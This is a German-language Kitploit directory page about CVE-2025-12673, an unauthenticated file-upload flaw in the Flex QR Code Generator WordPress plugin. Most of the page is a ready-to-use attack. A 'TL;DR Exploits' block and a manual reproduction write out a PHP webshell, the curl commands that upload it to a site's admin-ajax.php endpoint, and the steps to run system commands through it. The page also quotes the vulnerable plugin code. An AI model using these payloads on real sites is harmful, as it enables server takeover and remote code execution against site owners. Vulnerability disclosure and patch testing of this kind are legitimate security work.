Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-12673 — Flex QR Code Generator <= 1.2.6 - Nicht authentifizierter beliebiger Datei-Upload | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-12673
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2025-12673

CVE-2025-12673

Flex QR Code Generator <= 1.2.6 - Nicht authentifizierter beliebiger Datei-Upload

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Flex QR Code Generator <= 1.2.6 - Nicht authentifizierter beliebiger Datei-Upload

Das Flex QR Code Generator Plugin validiert keine Benutzerberechtigungen und bereinigt keine Datei-Uploads in seinem AJAX-Endpunkt update_qr_code. Dies ermöglicht nicht authentifizierten Angreifern, beliebige Dateien, einschließlich ausführbarer PHP-Skripte, hochzuladen, was zu Remote Code Execution führt.

TL;DR Exploits

root@kitploit:~
# Upload PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"

Details

Die Schwachstelle existiert in der Methode update_qr_code der Klasse FlexQrCodeGenerator. Das Plugin registriert AJAX-Endpunkte für nicht authentifizierte Benutzer, sodass jeder Besucher beliebige Dateien hochladen kann, die im WordPress-Uploads-Verzeichnis gespeichert werden.

Schwachstellen-Code von /qr-code-generator.php:457-589:

root@kitploit:~
public function update_qr_code()
{
  if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
    // ... validation code ...
    
    // Handle the logo (file upload)
    if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
      $logo = $_FILES['logo'];
      $upload_dir = wp_upload_dir();
      
      $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
      $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
      $new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
      $file_path = $upload_dir['path'] . '/' . $new_file_name;
      
      if (move_uploaded_file($logo['tmp_name'], $file_path)) {
        // File uploaded successfully
      }
    }
  }
}

Dateiausführung von /qr-code-generator.php:504:

root@kitploit:~
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
  $logo_url = $upload_dir['url'] . '/' . $new_file_name;
  $logo_url = str_replace(home_url(), '', $logo_url);
  $update_data['logo_url'] = $logo_url;
}

Nicht authentifizierter Zugriff von /qr-code-generator.php:41-42:

root@kitploit:~
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

Manuelle Reproduktion

  1. Ziel identifizieren mit installiertem Flex QR Code Generator Plugin
  2. Vorhandene QR-Code-ID finden:
root@kitploit:~
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -d "action=flexqr_fetch_qr_code" \
  -d "per_page=10" \
  -d "page=1"
  1. Schädliche PHP-Datei hochladen:
root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"
  1. Upload überprüfen durch Prüfen des Uploads-Verzeichnisses auf shell_1.php
  2. Befehle ausführen durch Aufrufen der hochgeladenen Datei mit ?cmd=whoami
Tool herunterladen